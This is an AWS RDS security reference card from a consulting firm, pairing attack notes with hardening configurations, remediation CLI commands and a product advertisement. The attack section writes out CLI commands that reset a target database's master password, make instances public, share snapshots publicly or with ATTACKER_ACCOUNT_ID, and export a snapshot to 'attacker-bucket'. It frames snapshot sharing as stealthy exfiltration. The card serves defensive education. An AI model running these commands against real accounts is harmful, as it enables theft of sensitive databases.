Relational Database Service (RDS) provides managed databases with encryption and access controls. Publicly accessible databases and weak credentials are primary attack vectors.
RDS instances can be publicly accessible or VPC-only. Security groups control network access, while IAM authentication provides identity-based access for supported engines.
Attack note: Public databases are constantly scanned. Weak credentials lead to immediate compromise.
Automated backups and manual snapshots can be shared cross-account or made public. Snapshots contain full database contents including sensitive data.
Attack note: Public snapshots are goldmines - search for forgotten production data.
Databases contain the most sensitive business data. Public accessibility, weak credentials, and unencrypted snapshots lead to massive data breaches.
aws rds describe-db-instancesaws rds describe-db-snapshotsaws rds describe-db-snapshots --include-publicaws rds describe-db-cluster-snapshotsaws rds describe-db-parameter-groupsKey insight: Snapshot sharing is the stealthiest exfiltration method - no data actually leaves your account.
aws rds restore-db-instance-from-db-snapshot \
--db-snapshot-identifier snap-xxx \
--db-instance-identifier pwned \
--publicly-accessibleaws rds modify-db-instance \
--db-instance-identifier target-db \
--master-user-password NewPassword123!aws rds modify-db-snapshot-attribute \
--db-snapshot-identifier snap-xxx \
--attribute-name restore \
--values-to-add allaws rds modify-db-snapshot-attribute \
--db-snapshot-identifier snap-xxx \
--attribute-name restore \
--values-to-add ATTACKER_ACCOUNT_IDaws rds modify-db-instance \
--db-instance-identifier target-db \
--publicly-accessibleaws rds start-export-task \
--export-task-identifier exfil \
--source-arn arn:aws:rds:REGION:ACCOUNT:snapshot:snap-xxx \
--s3-bucket-name attacker-bucket \
--iam-role-arn arn:aws:iam::ACCOUNT:role/ExportRole \
--kms-key-id arn:aws:kms:REGION:ACCOUNT:key/xxx{
"PubliclyAccessible": true,
"StorageEncrypted": false,
"DeletionProtection": false,
"MasterUsername": "admin",
"MasterUserPassword": "password123"
}Public, unencrypted, weak credentials - complete exposure
{
"PubliclyAccessible": false,
"StorageEncrypted": true,
"KmsKeyId": "arn:aws:kms:...",
"DeletionProtection": true,
"IAMDatabaseAuthentication": true,
"EnableCloudwatchLogsExports": ["audit","error"]
}Private, encrypted, IAM auth, with audit logging
{
"IpPermissions": [{
"IpProtocol": "tcp",
"FromPort": 3306,
"ToPort": 3306,
"IpRanges": [{"CidrIp": "0.0.0.0/0"}]
}]
}MySQL port open to entire internet
{
"IpPermissions": [{
"IpProtocol": "tcp",
"FromPort": 3306,
"ToPort": 3306,
"UserIdGroupPairs": [{
"GroupId": "sg-app-servers"
}]
}]
}Only app server security group can connect
Never expose RDS to internet. Use private subnets.
aws rds modify-db-instance \
--db-instance-identifier db-xxx \
--no-publicly-accessibleEncrypt at rest with KMS and enforce SSL in transit.
--storage-encrypted --kms-key-id <key-arn>Replace passwords with IAM roles where possible.
aws rds modify-db-instance \
--enable-iam-database-authenticationExport audit logs to CloudWatch for monitoring.
--enable-cloudwatch-logs-exports \
'["audit","error","general"]'Rotate credentials automatically with Secrets Manager.
aws secretsmanager rotate-secret \
--secret-id db-credentialsPrevent accidental or malicious deletion.
aws rds modify-db-instance --deletion-protectionAWS RDS Security Card • Toc Consulting
Always obtain proper authorization before testing
A real RDS database reachable from outside AWS entirely. Watch the real external connection succeed, then fail after the fix.
KloudSec, built by the team behind Toc Consulting
What you just read is a manual, one-time check. KloudSec runs this and 400+ more automated checks across 90+ AWS services, continuously, agentless, live in about 5 minutes.
Toc Consulting: AWS Security & Cloud Architecture
Our team helps engineering teams secure and architect AWS the right way: assessment in week one, a prioritized action plan in week two.